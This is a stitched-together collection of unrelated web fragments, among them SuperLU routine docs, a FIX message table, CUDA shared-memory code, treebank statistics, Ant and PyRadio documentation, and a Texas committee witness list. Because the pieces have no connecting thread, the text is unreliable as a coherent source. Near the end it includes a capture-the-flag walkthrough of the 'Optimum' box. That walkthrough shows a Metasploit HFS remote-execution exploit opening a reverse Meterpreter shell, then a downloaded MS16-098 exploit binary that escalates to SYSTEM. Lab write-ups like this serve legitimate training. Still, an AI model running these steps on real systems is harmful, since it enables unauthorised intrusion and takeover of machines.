#include "superlu_ddefs.h"
Defines | |
| #define | METISOPTIONS 8 |
Functions/Subroutines | |
| void | get_metis (int_t n, int_t bnz, int_t *b_colptr, int_t *b_rowind, int_t *perm_c) |
| void | getata_dist (const int_t m, const int_t n, const int_t nz, int_t *colptr, int_t *rowind, int_t *atanz, int_t **ata_colptr, int_t **ata_rowind) |
| void | at_plus_a_dist (const int_t n, const int_t nz, int_t *colptr, int_t *rowind, int_t *bnz, int_t **b_colptr, int_t **b_rowind) |
| void | get_perm_c_dist (int_t pnum, int_t ispec, SuperMatrix *A, int_t *perm_c) |
-- Distributed SuperLU routine (version 2.1) -- Lawrence Berkeley National Lab, Univ. of California Berkeley, November 1, 2007 Feburary 20, 2008
Last update: 7/27/2011 fix a bug with metis ordering on empty graph.
| #define METISOPTIONS 8 |
| void at_plus_a_dist | ( | const int_t | n, | |
| const int_t | nz, | |||
| int_t * | colptr, | |||
| int_t * | rowind, | |||
| int_t * | bnz, | |||
| int_t ** | b_colptr, | |||
| int_t ** | b_rowind | |||
| ) |
Purpose =======
Form the structure of A'+A. A is an n-by-n matrix in column oriented format represented by (colptr, rowind). The output A'+A is in column oriented format (symmetrically, also row oriented), represented by (b_colptr, b_rowind).
| void get_perm_c_dist | ( | int_t | pnum, | |
| int_t | ispec, | |||
| SuperMatrix * | A, | |||
| int_t * | perm_c | |||
| ) |
Purpose =======
GET_PERM_C_DIST obtains a permutation matrix Pc, by applying the multiple minimum degree ordering code by Joseph Liu to matrix A'*A or A+A', or using approximate minimum degree column ordering by Davis et. al. The LU factorization of A*Pc tends to have less fill than the LU factorization of A.
Arguments =========
ispec (input) colperm_t Specifies what type of column permutation to use to reduce fill. = NATURAL: natural ordering (i.e., Pc = I) = MMD_AT_PLUS_A: minimum degree ordering on structure of A'+A = MMD_ATA: minimum degree ordering on structure of A'*A = METIS_AT_PLUS_A: MeTis on A'+A
A (input) SuperMatrix* Matrix A in A*X=B, of dimension (A->nrow, A->ncol). The number of the linear equations is A->nrow. Currently, the type of A can be: Stype = SLU_NC; Dtype = SLU_D; Mtype = SLU_GE. In the future, more general A can be handled.
perm_c (output) int* Column permutation vector of size A->ncol, which defines the permutation matrix Pc; perm_c[i] = j means column i of A is in position j in A*Pc.
| void getata_dist | ( | const int_t | m, | |
| const int_t | n, | |||
| const int_t | nz, | |||
| int_t * | colptr, | |||
| int_t * | rowind, | |||
| int_t * | atanz, | |||
| int_t ** | ata_colptr, | |||
| int_t ** | ata_rowind | |||
| ) |
Purpose =======
Form the structure of A'*A. A is an m-by-n matrix in column oriented format represented by (colptr, rowind). The output A'*A is in column oriented format (symmetrically, also row oriented), represented by (ata_colptr, ata_rowind).
This routine is modified from GETATA routine by Tim Davis. The complexity of this algorithm is: SUM_{i=1,m} r(i)^2, i.e., the sum of the square of the row counts.
Questions ========= o Do I need to withhold the *dense* rows? o How do I know the number of nonzeros in A'*A?


| Name |
Type |
Description |
|
CommissionData
|
Block
|
The CommissionDate component block is used to carry commission information such as the type of commission and the rate.
|
|
Instrument
|
Block
|
The Instrument component block contains all the fields commonly used to describe a security or instrument. Typically the data elements in this component block are considered the static data of a security, data that may be commonly found in a security master database. The Instrument component block can be used to describe any asset type supported by FIX.
|
|
InstrumentLeg
|
Block
|
The InstrumentLeg component block, like the Instrument component block, contains all the fields commonly used to describe a security or instrument. In the case of the InstrumentLeg component block it describes a security used in multileg-oriented messages.
|
|
LinesOfTextGrp
|
ImplicitBlockRepeating
|
|
|
OrderQtyData
|
Block
|
The OrderQtyData component block contains the fields commonly used for indicating the amount or quantity of an order. Note that when this component block is marked as "required" in a message either one of these three fields must be used to identify the amount: OrderQty, CashOrderQty or OrderPercent (in the case of CIV).
|
|
Parties
|
BlockRepeating
|
The Parties component block is used to identify and convey information on the entities both central and peripheral to the financial transaction represented by the FIX message containing the Parties Block. The Parties block allows many different types of entites to be expressed through use of the PartyRole field and identifies the source of the PartyID through the the PartyIDSource.
|
|
PositionQty
|
BlockRepeating
|
The PositionQty component block specifies the various types of position quantity in the position life-cycle including start-of-day, intraday, trade, adjustments, and end-of-day position quantities. Quantities are expressed in terms of long and short quantities.
|
|
PtysSubGrp
|
ImplicitBlockRepeating
|
|
|
QuotCxlEntriesGrp
|
ImplicitBlockRepeating
|
|
|
QuotEntryAckGrp
|
ImplicitBlockRepeating
|
|
|
QuotEntryGrp
|
ImplicitBlockRepeating
|
|
|
QuotQualGrp
|
ImplicitBlockRepeating
|
|
|
QuotReqGrp
|
ImplicitBlockRepeating
|
|
|
QuotReqRjctGrp
|
ImplicitBlockRepeating
|
|
|
QuotSetAckGrp
|
ImplicitBlockRepeating
|
|
|
QuotSetGrp
|
ImplicitBlockRepeating
|
|
|
RootParties
|
BlockRepeating
|
The RootParties component block is a version of the Parties component block used to provide root information regarding the owning and entering parties of a transaction.
|
|
SecListGrp
|
ImplicitBlockRepeating
|
|
|
SideCrossOrdModGrp
|
ImplicitBlockRepeating
|
|
|
StandardHeader
|
Block
|
The standard FIX message header
|
|
StandardTrailer
|
Block
|
The standard FIX message trailer
|
|
Stipulations
|
BlockRepeating
|
The Stipulations component block is used in Fixed Income to provide additional information on a given security. These additional information are usually not considered static data information.
|
|
TrdSessLstGrp
|
ImplicitBlockRepeating
|
|
|
UndSecAltIDGrp
|
ImplicitBlockRepeating
|
|
|
UnderlyingInstrument
|
Block
|
The UnderlyingInstrument component block, like the Instrument component block, contains all the fields commonly used to describe a security or instrument. In the case of the UnderlyingInstrument component block it describes an instrument which underlies the primary instrument Refer to the Instrument component block comments as this component block mirrors Instrument, except for the noted fields.
|


Shared memory (SM) was exploited in order to take advantage of its higher speed 104. For this reason, an accurate analysis was carried out in determining how much memory accesses each thread performs for each CA substate matrix, in order to evaluate the convenience of using SM. This investigation gave rise to a “hybrid” memory access pattern, where shared memory allocation was adopted in those kernels accessing CA substate matrixes at least three times105
On this basis, the data buffers corresponding to the elevation, lava thickness and temperature and distributed outflows ( \(Q_h \;, Q_T \;, Q_o\;, outflows \)) were allocated in SM.
Let’s briefly show an example of SM usage, its initialization, utilization and finalization. SM has to be initilizated each time a kernel executes (see listing [code:sharedMemoryInitialization] as example code).
__shared__ double s_Sz[(blockDimY+2)][(blockdimX+2)];
__shared__ double s_Sh[(blockDimY+2)][(blockdimX+2)];
...
if(threadIdx.x==0){
s_Sz[threadIdx.y+1][0]=d_Sz[getNeigh2(index,lungCOL)];
s_Sh[threadIdx.y+1][0]=d_Sh[getNeigh2(index,lungCOL)];
}
if(threadIdx.x==blockDim.x-1){
s_Sz[threadIdx.y+1][blockDim.x+1]=d_Sz[getNeigh3(index,lungCOL)];
s_Sh[threadIdx.y+1][blockDim.x+1]=d_Sh[getNeigh3(index,lungCOL)];
}
//cell inside borders of the block(plus ghost cells)
s_Sz[threadIdx.y+1][threadIdx.x+1]=d_Sz[index];
s_Sh[threadIdx.y+1][threadIdx.x+1]=d_Sh[index];
__syncthreads(); //shared has to be fully initializated before computation takes
//place. end shared loading
After it has been initializated it can be used normally in place of GM, but at the end of the computation (SM is cancelled each time a kernel ends), if one wants to keep some value in memory, a copy from SM to GM has to be performed.


Examples for Improved Edge Rendering for MINGLE
* means that a new computation for the layout is required. This might take some time (5 - 10 secs)
Delta (
s
) -
Curviness
Angle*
Neighbors*
None
Max. Component
X-Axis
Y-Axis
Direction
Edge Group*
Margin
Line
Bezier
Quadratic
Line type
Alpha
Solid Color
Solid
Cluster
Direction
Edge
Color
philippines
eastwestcommute
sfcommute
world
test
testuneven
testcrossed
Dataset*
% Ink / Pixels
Loading please wait...


Altoro Mutual today announced that Vice President Jane Smith will now lead Retail Banking in addition to her continued responsibilities for Small Business Banking.
More Press Releases


As of CSS 2.1, the text-decoration property supports four different styles, underline, overline, line-through and blink.  Although if you must have it, it can be done with JavaScript.


You've completed this demonstration of the Grok JavaScript Client library and Numenta's Grok technology.


Treebank Statistics: UD_Frisian_Dutch-Fame: POS Tags: CCONJ
There are 1 CCONJ
lemmas (7%), 6 CCONJ
types (0%) and 159 CCONJ
tokens (4%).
Out of 14 observed tags, the rank of CCONJ
is: 5 in number of lemmas, 13 in number of types and 11 in number of tokens.
The 10 most frequent CCONJ
lemmas: _
The 10 most frequent CCONJ
types: en, mar, want, dus, of, maar
The 10 most frequent ambiguous lemmas: _ (NOUN 482, ADV 455, ADP 441, PRON 441, VERB 399, DET 358, PROPN 305, ADJ 214, INTJ 189, AUX 163, CCONJ 159, SCONJ 61, NUM 60, X 2)
The 10 most frequent ambiguous types: mar (CCONJ 26, ADV 5), dus (ADV 10, CCONJ 7), of (CCONJ 7, ADP 2, SCONJ 1), maar (ADV 2, CCONJ 2)
- mar
- dus
- of
- maar
Morphology
The form / lemma ratio of CCONJ
is 6.000000 (the average of all parts of speech is 97.571429).
The 1st highest number of forms (6) was observed with the lemma “_”: dus, en, maar, mar, of, want.
CCONJ
does not occur with any features.
Relations
CCONJ
nodes are attached to their parents using 8 different relations: cc (104; 65% instances), mark (23; 14% instances), orphan (10; 6% instances), flat (9; 6% instances), discourse (7; 4% instances), fixed (3; 2% instances), reparandum (2; 1% instances), advmod (1; 1% instances)
Parents of CCONJ
nodes belong to 12 different parts of speech: VERB (90; 57% instances), NOUN (24; 15% instances), ADJ (14; 9% instances), PROPN (11; 7% instances), NUM (8; 5% instances), ADV (3; 2% instances), PRON (3; 2% instances), DET (2; 1% instances), ADP (1; 1% instances), AUX (1; 1% instances), CCONJ (1; 1% instances), INTJ (1; 1% instances)
151 (95%) CCONJ
nodes are leaves.
8 (5%) CCONJ
nodes have one child.
The highest child degree of a CCONJ
node is 1.
Children of CCONJ
nodes are attached using 2 different relations: fixed (7; 88% instances), reparandum (1; 13% instances)
Children of CCONJ
nodes belong to 3 different parts of speech: INTJ (4; 50% instances), ADV (3; 38% instances), CCONJ (1; 13% instances)


This Antlib contains tasks and resources that provide compression/uncompression and archival/unarchival capabilities based on Apache Commons Compress. Using Apache Commons Compress 1.16 this Antlib supports gzip, bzip2, lzma standalone, xz, .Z, DEFLATE, DEFLATE64, Snappy, LZ4, Brotli, Zstandard and pack200 compression and ar, arj, cpio, 7z, Unix dump, tar and zip archives. Support for arj, .Z, Brotli, DEFLATE64 and dump is read-only. 7z can only be used on filesystem resources.
Reading AR archives from non-filesystem resources currently fails for reasons that haven't been investigated, yet. Most likely the problem is within Apache Commons Compress.
This Antlib contains the following tasks:
This Antlib contains the following resources:
This Antlib contains the following conditions that work on the
*entry
-resources of this Antlib as well as their
counterparts in Ant itself:
This Antlib requires Apache Ant 1.8.0 or higher, Apache Commons Compress 1.16 or higher and Java7 or higher.
In order to use LZMA, XZ or most of the 7z support the XZ for Java version 1.6 or later is required.
In order to use Brotli the Brotli dec library version 0.1.2 or later is required.
In order to use Zstandard the zstd-jni library version 1.3.3-1 or later is required.
If you are building the Antlib from sources, run
the antlib
target and you'll get a
file ant-compress-VERSION.jar
. If you've
downloaded a binary release, you are already there.
In order to use the Antlib, you can either
use taskdef
or rely on Ant's autodiscovery by using
an XML namespace and the Antlib's URI. The taskdef
approach allows you to specify a custom classpath while you must
make sure Ant finds the Antlib itself as well as Apache Commons
Compress - either because it is in a well known place like
$ANT_HOME/lib
or using the -lib
command line option - when using autodiscovey.
taskdef
approachBefore you can use any of the tasks or resources you must use
a taskdef
task like:
<taskdef uri="antlib:org.apache.ant.compress" resource="org/apache/ant/compress/antlib.xml"> <classpath> <pathelement location="YOUR-PATH-TO/ant-compress-VERSION1.jar"/> <pathelement location="YOUR-PATH-TO/commons-compress-VERSION2.jar"/> <!-- optional dependencies --> <pathelement location="YOUR-PATH-TO/xz-VERSION3.jar"/> <pathelement location="YOUR-PATH-TO/dec-VERSION4.jar"/> </classpath> </taskdef>
And later use something like:
<comp:tar xmlns:tar="antlib:org.apache.ant.compress" ...
<project xmlns:comp="antlib:org.apache.ant.compress" ...
And later use something like:
<comp:tar ...


Analyzing & Visualizing Outputs¶
Both RSPM and VE-RPAT have the built-in scenario viewers, which allows for assessing a large numbers of future scenarios, each with a different combination of prioritizations, policy decisions, and constraints. The VEScenarios module provides the capability to quickly set up, run, and visualize large numbers of VE-RPAT and RSPM scenarios using a baseline scenario combined with multiple changes to model inputs. VE-State does not yet compatible with the VEScenarios module but it is a goal of future work on VisionEval project.
The scenario viewer will open automatically after a multi-scenario run of RSPM or VE-RPAT is complete. The scenario viewer can also be opened manually once the scenarios have been run, by opening the VE-RPAT.html file in a web browser.
Each directory is essentially a copy of RSPM or VE-RPAT base model, with inputs modified as specified in the scenario_inputs directory. Each scenario directory contains the results of a model run with its own inputs, datastore, and log file.
Example - VERPAT Scenario Viewer¶
The Viewer is broken into three parts - the Inputs (vertical bar charts) along the top row. The Outputs (vertical bar charts) just under the inputs, and the scenario data table is at the very bottom.
Inputs¶
The top of the scenario viewer shows scenario input levels by categories. Categories combine changes to multiple input files to help simplify a large number of scenarios. Categories can be defined by the user in the “category_config.json” file. [ screen shot of the folder structure] The default categories are the following:
Policy Factors: These categories represent factors within local and state control.
Community Design Policies that seek to enable shorter trips and alternate modes such as promotion of mixed use land use, transit service, bicycling, and parking management.
Marketing & Incentives Policies that improve driving efficiency such as ecodriving,and Intelligent Transportation System efforts, as well as programs that reduce auto demand such as carsharing, and home or work-based transportation demand management.
Pricing Policies that move towards true cost pricing such as road user fees to pay for the cost of operating, maintaining and improving roads, pay-as-you-drive (PAYD) insurance, and environmental impact fees such as a carbon tax.
Vehicles & Fuels Factors representing the anticipated changes to future vehicles and fuels, in addition to those resulting from existing federal and state laws, including market changes such as the shift to electric vehicles or more fuel efficient vehicles, reduced carbon intensity of fuels, pace of vehicle turnover, and the light truck share of vehicles. Since these shifts would primarily result from additional federal and state policies promoting market changes, these scenarios assume supportive local actions that advocate for more ambitious policies along with local efforts, such as installing charging stations and using landfill captured gases (renewable natural gas) to fuel buses.
Context Factors: These categories represent factors outside our control, but help evaluate the robustness of policies in the face of uncertain future conditions.
Fuel Price The assumed market price of gasoline and other fuels (exclusive of fuel taxes).
Income Growth The assumed growth of average per capita income, representing the health of the economy.
The default settings for the scenario viewer define several levels for each of the categories. These levels are numbered to indicate the amount of change from a reference case which represents the continuation of adopted local plans, policies and trends.
Level 1: Corresponds to the reference case.
Level 0: Is often used to represents a retreat from current plans (such as lower parking fees or less bicycling than anticipated), or lower context forecasts (i.e., lower fuel price or lower income).
Levels 2-3: Representing more ambitious policies or higher context forecasts (i.e., higher fuel price or higher income).
The levels are displayed in category bar charts, one for each Category. Note that the scenario viewer is also interactive. The user can select on or multiple of the scenario input levels to filter out their corresponding scenarios and data.
Outputs¶
Given the chosen category inputs, the web page also shows future year outcomes for the several performance measures. Unlike the scenario level inputs, these performance measures are hard-coded into the scenario viewer and cannot be easily changed. The performance measures in the scenario viewer are the following:
GHG Target Reduction: 2005-2038 percentage reduction in light-duty vehicle GHG emissions (beyond what is anticipated to occur due to baseline assumptions regarding improvements to vehicles and fuels). RVMPO has a 2005 - 2035 state-set GHG reduction target of 19%
DVMT Per Capita: daily vehicle miles of travel of residents divided by population.
Bike Travel Per Capita: annual miles of resident bike travel (not including recreational travel) divided by population.
Walk Travel Per Capita: annual residents’ walk trips (not including recreation or walk to transit) divided by population.
Air Pollution Emissions: daily metric tons of pollutants emitted from all light-duty vehicle travel (including hydrocarbons, carbon monoxide, nitrogen dioxide, and particulates).
Annual Fuel Use: annual million gallons of gasoline and other fuels consumed by all light-duty vehicle travel.
Annual Household Vehicle Cost: average annual household cost (thousand dollars) for owning and operating light-duty vehicles (including gas, taxes, parking, registration, depreciation, maintenance, and financing).
Truck Delay: daily vehicle-hours of delay for heavy truck travel on area roads.
Each performance measure is illustrated in a bar chart showing the range of outcome values for the selected scenarios. The bar height indicates the number of selected scenarios with that outcome value.
The model output bar charts are also interactive, and the user can select a range of values within one performance measure to see which policy choices and land use inputs result in desired outcomes. Figure 10 2 shows how a selection of the low end of the GHG emissions updates how many scenarios result in this outcome, as well as the respective categories of those scenarios.
The scenario data table at the bottom (not shown) also updates to show only the scenarios resulting in the selected outcome.


PACMAN
This code has a PacMan figure bounce back and forth off of imaginary walls. This is done with Javascript code that continuously checks for the boundary.
EYES
This project is two eyes that follow the mouse around the screen (looks where you tap on mobile). This is done with Javascript code that continuously checks where the mouse is on the screen.
BUS TRACKER
This is a project that follows a bus route. This is done with Javascript code that moves a marker along a specific bus route.


We redefine platforms!
- harness best-of-breed architectures
- evolve visionary web-readiness
- synergize wireless portals
- optimize frictionless paradigms
- streamline cross-platform web-readiness
- e-enable distributed channels
- redefine granular systems
- engage mission-critical niches
- redefine cutting-edge vortals
- incubate B2B e-business


{% extends 'base.html' %} {% block header %}
This should be a categorical variable.
You can select multiple by holding ctrl/cmd.
This should be a subset of your numeric features. Again, you can select multiple by holding ctrl/cmd.
This represents the number of times to iterate over the data set when training. Higher values mean training will take longer, but could yield better results. If left blank, a default value of {{ default_num_epochs }} will be used.


- ability to test talking to a loaded npc
- gull events (i.e. ebony will have diff reasons to delay the party than skol)
An NPC has a TALKY LEVEL which contains one or more QUESTIONS. Each question has a single RESPONSE, which itself can have one or more SUBQUESTIONS (which are part of a TALKY LEVEL). You'll want to make sure that you build dialoge from the bottom up, starting with responses, giving them to questions, then giving those questions to a talky level and that talky level to an NPC.


WHERE TO GO THIS SUMMER?
TRAVEL AROUND THE WORLD FROM $2360.00
Lorem ipsum dolor ipsum dolor.
VISIT TO JAPEN IN THIS SUMMER


yesod
Helper tool for Yesod, a Haskell-based web framework.
All Yesod commands are invoked through the `stack` project manager.
More information: home page
- Create a new scaffolded site, with SQLite as backend, in the `my-project` directory:
stack new my-project yesod-sqlite
- Install the Yesod CLI tool within a Yesod scaffolded site:
stack build yesod-bin cabal-install --install-ghc
- Start development server:
stack exec -- yesod devel
- Touch files with altered Template Haskell dependencies:
stack exec -- yesod touch
- Deploy application using Keter (Yesod's deployment manager):
stack exec -- yesod keter


Crate clap [stability]
[-] [+]
[src]
A simply library for parsing command line arguments when writing command line and console applications.
You can use clap
to lay out a list of possible valid command line arguments and let clap
parse the string given by the user at runtime.
When using clap
you define a set of parameters and rules for your arguments and at runtime clap
will determine their validity.
Also, clap
provides the traditional version and help switches 'for free' by parsing the list of possible valid arguments lazily at runtime.
i.e. only when it's been determined that the user wants or needs to see the help and version information.
After defining a list of possible valid arguments you get a list of matches that the user supplied at runtime. You can then use this list to determine the functioning of your program.
# Example
use clap::{Arg, App, SubCommand}; // ... let matches = App::new("MyApp") .version("1.0") .author("Kevin K<EMAIL_ADDRESS>.about("Does awesome things") .arg(Arg::new("config") .short("c") .long("config") .help("Sets a custom config file") .takes_value(true)) .arg(Arg::new("output") .help("Sets an optional output file") .index(1)) .arg(Arg::new("debug") .short("d") .multiple(true) .help("Turn debugging information on")) .subcommand(SubCommand::new("test") .about("Has test sub functionality") .arg(Arg::new("verbose") .short("v") .help("Display verbose information"))) .get_matches(); if let Some(o) = matches.value_of("output") { println!("Value for output: {}", o); } if let Some(c) = matches.value_of("config") { println!("Value for config: {}", c); } match matches.occurrences_of("debug") { 0 => println!("Debug mode is off"), 1 => println!("Debug mode is kind of on"), 2 => println!("Debug mode is on"), 3 | _ => println!("Don't be crazy"), } if let Some(ref matches) = matches.subcommand_matches("test") { if matches.is_present("verbose") { println!("Printing verbose test info..."); } else { println!("Not printing regular test info..."); } } // more porgram logic goes here...
If you were to compile the above program and run it with the flag --help
or -h
the following output woud be presented
$ myprog --help
MyApp 1.0
Kevin K<EMAIL_ADDRESS>Does awesome things
USAGE:
MyApp [FLAGS] [OPTIONS] [POSITIONAL] [SUBCOMMANDS]
FLAGS:
-d Turn debugging information on
-h,--help Prints this message
-v,--version Prints version information
OPTIONS:
-c,--config <config> Sets a custom config file
POSITIONAL ARGUMENTS:
output Sets an optional output file
SUBCOMMANDS:
help Prints this message
test Has test sub-functionality
Structs
| App | Used to create a representation of the program and all possible command line arguments for parsing at runtime. |
| Arg | The abstract representation of a command line argument used by the consumer of the library. |
| ArgMatches | Used to get information about the arguments that where supplied to the program at runtime. |
| SubCommand | The abstract representation of a command line subcommand used by the consumer of the library. |


by Tom
Forever. For. Ever.
Generations into the future.
A digital legacy, estate, or trust
Keeping a website up, available, viewable, healthy for:
| 1 Month | Easy! |
| 1 Year | 99.9%. Easy(-ish)! |
| 10 Years | AWS did not exist 10 years ago |
| 100 Years | Hmm. Wut? |
| 1000 Years | LOUD NOISES! |
Predicting the future of the internet (or anything) becomes increasingly hazy.
godaddy domain + dns: $10/yr
google blogger: free
Google announces end-of-life for Blogger
Your hosting company goes out of business
Your hosting plan is deprecated
Your bank goes out of business
Your bank account runs out of money
Breaking changes to web document formats, browser backward compatibility
Make a good guess based on Today's technology
maturity, stability, ubiquity, cost
Blogger CMS
Godaddy Registrar, DNS
Capital One 360 Checking Account
Portable, "Future Proof" Content
Step #2
Build an autonomous, resilient, cost-effective support organization
Mech Turk, Survey Services for Polling, Consensus
Zirtual, Elance, Fiverr for Task Execution
Every X Months
A Site Outage
An Intermediate Task
Diagnose the underlying cause of the outage
If yes, kick off a subsequent task
Is our bank account < 5% of starting balance?
Migrate to best completely free option


This is some cool stuff here... wait.... on the next page we got even more
Not your case? Go back to the start


WITNESS LIST Judicial Affairs Committee April 22, 2003-12:00A HB 445 For: Olsen, Rory (Self) Against: Mitchell, Beth (Advocacy, Inc.) HB 1252 For: Adamick, Barbara (Self) On: Underwood, Olen (Self) HB 1905 For: Adamick, Barbara (District Clerk Assoc.) Brunson, Jeane (County & District Clerks Association of Texas) Gray, Janice (County & District Clerks Association) Hamlin, Jim (Self) Hamlin, Marc (Self and County & District Clerks Association) Turley, Gail (County & District Clerks Assn. of Texas) HB 1905 Committee Substitute (Solis) Pardue, Craig (Dallas County) HB 2545 Against: Moss, Ron (Association of Electric Companies of Texas) HB 3070 For: Lee, Donald (Texas Conference of Urban Counties) Pardue, Craig (Dallas County) HB 3322 On: Arnot, Bud (11th Court of Appeals) HJR 64 For: Allison, Jim (County Judges & Commissioner's Assn. of Texas) Gossom, Jr., Woodrow (Self) On: Reaves, Margaret (Commission on Judicial Conduct) SB 273 For: Tindall, Kim (Esquire Deposition Services) On: Daniel, Katrina (Sunset Advisory Commission) Henricks, Michele (Court Reporters Certification Board) Montalvo, Frank (Court Reporters Certification Board)


{% extends "layout.html" %} {% block title %} Books {% endblock %} {%block css %} {%endblock%} {% block content %} {% if book %}
Isbn:{{ book.isbn }}, Title:{{ book.title }} , Author:{{ book.author }}, Published Year:{{ book.year }}
{{goodrating}}/{{goodcount}} reviews from Goodreads {% for review in reviews %}{{ review.content}}


Summary
Optimum is a fairly straightforward easy rated Windows box. It involves simple enumeration and exploitation via a readily available metasploit module for a foothold. For privilege escalation, it requires enumeration of patch levels of the system to determine a relevant exploit for escalation.
Walkthrough
Enumeration
Ran the usual nmap nmap -A -T4 -v <IP_ADDRESS>
PORT STATE SERVICE VERSION
80/tcp open http HttpFileServer httpd 2.3
|_http-favicon: Unknown favicon MD5: 759792EDD4EF8E6BC2D1877D27153CB1
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-server-header: HFS 2.3
|_http-title: HFS /
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
I went to the website and saw it is running HTTP File Server software v2.3.
I did a searchsploit hfs
and found this version seems to be vulnerable.
I loaded up msfconsole via msfconsole -q
and found that there is a RCE metasploit module that we can use to gain a foothold.
msf5 > search hfs
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/http/git_client_command_exec 2014-12-18 excellent No Malicious Git and Mercurial HTTP Server For CVE-2
014-9390
1 exploit/windows/http/rejetto_hfs_exec 2014-09-11 excellent Yes Rejetto HttpFileServer Remote Command Execution
msf5 > use exploit/windows/http/rejetto_hfs_exec
msf5 exploit(windows/http/rejetto_hfs_exec) > show options
Module options (exploit/windows/http/rejetto_hfs_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
HTTPDELAY 10 no Seconds to wait before terminating web server
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SRVHOST <IP_ADDRESS> yes The local host or network interface to listen on. This must be an address on the local machine or <IP_ADDRESS> to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The path of the web application
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Exploit target:
Id Name
-- ----
0 Automatic
msf5 exploit(windows/http/rejetto_hfs_exec) > set RHOSTS <IP_ADDRESS>
RHOSTS => <IP_ADDRESS>
msf5 exploit(windows/http/rejetto_hfs_exec) > set SRVHOST <IP_ADDRESS>
SRVHOST => <IP_ADDRESS>
msf5 exploit(windows/http/rejetto_hfs_exec) > exploit
[*] Started reverse TCP handler on <IP_ADDRESS>:4444
[*] Using URL: http://<IP_ADDRESS>:8080/Kzl4K6JceE
[*] Server started.
[*] Sending a malicious request to /
/usr/share/metasploit-framework/modules/exploits/windows/http/rejetto_hfs_exec.rb:110: warning: URI.escape is obsolete
/usr/share/metasploit-framework/modules/exploits/windows/http/rejetto_hfs_exec.rb:110: warning: URI.escape is obsolete
[*] Payload request received: /Kzl4K6JceE
[*] Sending stage (176195 bytes) to <IP_ADDRESS>
[*] Meterpreter session 1 opened (<IP_ADDRESS>:4444 -> <IP_ADDRESS>:49162) at 2020-07-20 21:32:54 -0500
[!] Tried to delete %TEMP%\ytefKHKvAX.vbs, unknown result
[*] Server stopped.
meterpreter > getuid
Server username: OPTIMUM\kostas
User
I listed the kostas desktop folder and there was a user.txt. No need to pivot so I grabbed the user.txt sitting in the Desktop folder.
Root
Now that I had user it was time to enumerate to find a path to admin. I used the windows exploit suggester tool.
To gather the systeminfo for it I just used the meterpreter session:
meterpreter > execute -f cmd.exe -a "/c systeminfo > systeminfo.txt"
Process 2072 created.
meterpreter > dir
Listing: C:\Users\kostas\Desktop
================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40777/rwxrwxrwx 0 dir 2020-07-27 06:31:27 -0500 %TEMP%
100666/rw-rw-rw- 282 fil 2017-03-18 06:57:16 -0500 desktop.ini
100777/rwxrwxrwx 760320 fil 2014-02-16 05:58:52 -0600 hfs.exe
100666/rw-rw-rw- 3334 fil 2020-07-27 07:16:36 -0500 systeminfo.txt
100444/r--r--r-- 32 fil 2017-03-18 07:13:18 -0500 user.txt.txt
meterpreter > download systeminfo.txt
[*] Downloading: systeminfo.txt -> systeminfo.txt
[*] Downloaded 3.26 KiB of 3.26 KiB (100.0%): systeminfo.txt -> systeminfo.txt
[*] download : systeminfo.txt -> systeminfo.txt
To get the script to run, it requires python2 and a library dependency. I suggest using pipenv
in the cloned folder.
pipenv --python 2.7
pipenv install xlrd
pipenv run python2 ./windows-exploit-suggester.py --database 2020-07-20-mssb.xls --systeminfo systeminfo.txt
After executing the script, there’s quite a few suggestions. The one in the official HTB writeup is MS016-032. However, I had issues trying to get it to work from metasploit. After some googling I decided to try MS16-098.
wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/41020.exe
Back in my meterpreter session I did a upload 41020.exe
then opened a shell to execute it.
meterpreter > shell
Process 2336 created.
Channel 5 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Users\kostas\Desktop>.\41020.exe
.\41020.exe
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Users\kostas\Desktop>whoami
whoami
nt authority\system
After this I simply went to the Desktop directory and grabbed the root.txt flag.
Lessons Learned
On this box:
- Refreshed metasploit module searching and exploit execution
- Learned about a new python based windows priv esc tool (the suggester tool)


Command line internet radio player.
Ben Dowling - https://github.com/coderholic
The best way to install PyRadio is via a distribution package, if one exists (e.g. Arch Linux and derivatives can install pyradio-git from AUR).
In any other case, and since PyRadio is currently not available via pip, you will have to build it from source.
$ pyradio -h usage: pyradio [-h] [-s STATIONS] [-p [PLAY]] [-u USE_PLAYER] [-a] [-ls] [-l] [-scd] [-ocd] [-d] Curses based Internet radio player optional arguments: -h, --help show this help message and exit -s STATIONS, --stations STATIONS Use specified station CSV file. -p [PLAY], --play [PLAY] Start and play.The value is num station or empty for random. -u USE_PLAYER, --use-player USE_PLAYER Use specified player. A comma-separated list can be used to specify detection order. Supported players: mpv, mplayer, vlc. -a, --add Add station to list. -ls, --list-playlists List of available playlists in config dir. -l, --list List of available stations in a playlist. -scd, --show-config-dir Print config directory location and exit. -ocd, --open-config-dir Open config directory with default file manager. -d, --debug Start pyradio in debug mode.
The following options can also be set in PyRadio’s configuration file:
Up/Down/j/k/PgUp/PgDown Change station selection. g Jump to first station. <n>G Jump to n-th / last station. Enter/Right/l Play selected station. r Select and play a random station. Space/Left/h Stop/start playing selected station. -/+ or ,/. Change volume. m Mute. v Save volume (not applicable for vlc). o s R Open / Save / Reload playlist. DEL,x Delete selected station. ? Show keys help. Esc/q Quit.
PyRadio upon its execution tries to read its configuration file (i.e. ~/.config/pyradio/config). If this file is not found, it will be created. If an error occurs while parsing it, an error message will be displayed and PyRadio will terminate.
The file contains parameters such as the player to use, the playlist to load etc. It is heavily commented (as you can see here), so that manual editing is really easy. The best practice to manually edit this file is executing PyRadio with the -ocd command line option, which will open the configuration directory in your file manager, and then edit it using your preferable text editor.
The file can also be altered while PyRadio is running. This process is transparent to the user; PyRadio will save the file before exiting (or in case Ctrl-C is pressed) if needed (e.g. if a config parameter has been changed during its execution).
PyRadio reads the stations to use from a CSV file, where each line contains two columns, the first being the station name and the second being the stream URL.
